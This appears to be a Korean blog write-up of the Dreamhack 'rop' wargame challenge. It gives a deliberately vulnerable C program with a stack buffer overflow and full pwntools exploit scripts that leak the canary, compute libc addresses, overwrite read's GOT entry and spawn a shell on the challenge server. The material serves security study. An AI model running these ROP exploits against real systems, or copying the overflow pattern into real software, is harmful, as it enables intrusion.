촉촉한초코칩

[Dreamhack] rop 본문

Study/System

[Dreamhack] rop

햄친구베이컨 2024. 5. 26. 19:29

ROP(Return Oriented Programming) 

  • 라이브러리 함수의 실행
  • 다수의 리턴 가젯 연결하여 사용
  • ASLR이 걸린 환경에서 system 함수를 사용하기 위해 프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터 system 함수의 오프셋을 이용한 함수의 주소를 계산한다. 

 

공격

  • 문제에 맞게 return to library, return to dl-resolve, GOT overwrite 등의 페이로드 구성 

 

ROP 페이로드

  • 리턴 가젯으로 구성
  • ret 단위로 여러 코드가 연쇄적으로 실행된다. 

 

ROP 실습 코드 

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 

분석 및 설계

보호기법 파악

$ checksec rop
[*] '/home/dreamhack/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

코드 분석

  • 바이너리에서 system 함수를 호출하지 않아 PLT에 등록되지 않으며 "/bin/sh" 문자열도 데이터 섹션에 기록하지 않는다.
  • system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, "/bin/sh" 대신 사용할 다른 방법도 생각해야 한다. 

 

익스플로잇 설계

1. 카나리 우회

from pwn import *

p = process('./rop')
e = ELF('./rop')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

2. system 함수의 주소 계산

  • 바이너리가 system 함수를 직접 호출하지 않아 system 함수가 GOT에는 등록되지 않는다.
  • 그러나 read, puts, printf는 GOT에 등록되어 있다. (system 함수가 정의되어 있는 라이브러리(libc.so.6)에서 reda, puts, printf도 호출한다.)
  • main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있으면 system함수가 매핑된 영역의 주소를 알 수 있다.
  • libc 안에서 두 데이터 사이의 거리(offset)은 항상 동일하다. 
    그러므로, libc가 매핑된 영역의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.
    ex) 함수의 거리가 항상 0xc3c20이라면, system=read-0xc3c20으로 system의 주소를 알 수 있다. 

  • rop.c에는 read, puts, printf가 GOT에 등록되어 있으므로 하나의 함수를 정해서 GOT 값을 읽고 그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구할 수 있다. 
#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.interactive()

3. "/bin/sh"

  • 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 
  • 다른 파일에 포함된 것을 사용할 경우 많이 사용하는 파일이 libc.so.6이다. 
    이 문자열의 주소도 system함수의 주소를 계산한것과 동일하게 거리를 더하거나 빼서 구한다. 

gdb rop > start

4. GOT Overwrite

  • system함수와 /bin/sh 문자열의 주소를 알아냈으므로, pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출한다.
  • 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. 

> 알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP를 구성한다. 

  • "/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력 > read 함수 사용 
  • read 함수 인자 : 입력스트림, 입력 버퍼, 입력 길이 (rdi, rsi, rdx)
    pop rdi; ret, pop rsi; pop r15; ret
    문제 : rdx는 바이너리에서 찾기 어려움
    문제 해결 : libc_csu_init 가젯 사용, rdx의 값을 변화시키는 함수 호출해서 값 설정 
    ex) strncmp 함수는 rax로 비교 결과를 반환하고, rdx는 두 문자열의 첫번째 문자부터 가장 긴 부분 문자열의 길이 반환 

libc에 포함된 rdx 가젯

  • read 함수, pop rdi; ret, pop rsi; pop r15; ret 가젯을 사용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성한다. 

 

셸 획득 

  • read 함수, pop rdi; ret 가젯, "/bin/sh"의 주소(read_got + 8)을 이용하여 익스플로잇 작성 
#!/usr/bin/env python3
# Name: rop.py
from pwn import *

context.update(arch='amd64', os='linux')
def slog(name, addr): return success(': '.join([name, hex(addr)]))

#p = process('./rop')
p = remote("host3.dreamhack.games", 21346)
#p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()